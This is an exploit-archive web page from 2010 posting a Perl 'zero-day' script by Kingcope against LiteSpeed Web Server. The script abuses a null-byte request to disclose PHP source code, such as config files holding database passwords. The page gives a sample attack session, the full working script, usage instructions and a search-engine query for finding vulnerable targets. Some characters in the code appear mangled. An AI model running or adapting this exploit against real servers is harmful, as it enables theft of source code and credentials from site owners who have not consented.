Home / os / win7

Litespeed Technologies Web Server Remote Poison null byte Ex

Posted on 13 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Litespeed Technologies Web Server Remote Poison null byte Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================================================
Litespeed Technologies Web Server Remote Poison null byte Exploit
=================================================================


Litespeed Technologies Web Server Remote Poison null byte Zero-Day
discovered and exploited by Kingcope in June 2010
google gives me over 9million hits
 
Example exploit session:
 
%nc 192.168.2.19 80
HEAD / HTTP/1.0
 
HTTP/1.0 200 OK
Date: Sun, 13 Jun 2010 00:10:38 GMT
Server: LiteSpeed &lt;-- consider it 0wned
Accept-Ranges: bytes
Connection: close
ETag: &quot;6ff-4c12e288-a3ee&quot;
Last-Modified: Sat, 12 Jun 2010 01:27:36 GMT
Content-Type: text/html
Content-Length: 1791
 
%fetch http://192.168.2.19/config.php
config.php 0 B 0 Bps
%cat config.php
%/usr/local/bin/perl Litespeed.pl 192.168.2.19 config.php
LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit
By Kingcope
June 2010
 
Saving source code of config.php into 192.168.2.19-config.php
Completed.
Operation Completed :&gt;.
%cat 192.168.2.19-config.php
&lt;?php
$db_secret=&quot;TOP SECRET PASSWORD&quot;;
?&gt;
%
 
Exploit:
 
#!/usr/bin/perl
#
#LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day Exploit
#By Kingcope
#Google search: &quot;&quot;Proudly Served by LiteSpeed Web Server&quot;&quot;
#June 2010
#Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556
#
 
use IO::Socket;
use strict;
 
sub getphpsrc {
my $host = shift;
my $file = shift;
 
if (substr($file, 0, 1) eq &quot;/&quot;) {
$file = substr($file, 1);
}
my $file2 = $file;
$file2 =~ s///_/g;
print &quot;Saving source code of $file into $host-$file2
&quot;;
 
my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host,
PeerPort =&gt; '80',
Proto =&gt; 'tcp') || die(&quot;Could not connect
to $ARGV[0]&quot;);
 
print $sock &quot;GET /$filex00.txt HTTP/1.1
Host: $ARGV[0]
Connection:
close

&quot;;
 
my $buf = &quot;&quot;;
 
my $lpfound = 0;
my $saveme = 0;
my $savveme = 0;
while(&lt;$sock&gt;) {
if ($_ =~ /LiteSpeed/) {
$lpfound = 1;
}
 
if ($saveme == 2) {
$savveme = 1;
}
 
if ($saveme != 0 &amp;&amp; $savveme == 0) {
$saveme++;
}
 
if ($_ =~ /Content-Length:/) {
$saveme = 1;
}
 
if ($savveme == 1) {
$buf .= $_;
}
}
 
if ($lpfound == 0) {
print &quot;This does not seem to be a LiteSpeed Webserver, saving file anyways.
&quot;;
}
 
open FILE, &quot;&gt;$host-$file2&quot;;
print FILE $buf;
close FILE;
print &quot;Completed.
&quot;;
}
 
print &quot;LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit
&quot;;
print &quot;By Kingcope
&quot;;
print &quot;June 2010

&quot;;
 
if ($#ARGV != 1) {
print &quot;Usage: perl litespeed.pl &lt;domain/ip&gt; &lt;php file&gt;
&quot;;
print &quot;Example: perl litespeed.pl www.thedomain.com index.php
&quot;;
exit(0);
}
 
getphpsrc($ARGV[0], $ARGV[1]);
 
print &quot;Operation Completed :&gt;.
&quot;;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-13]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :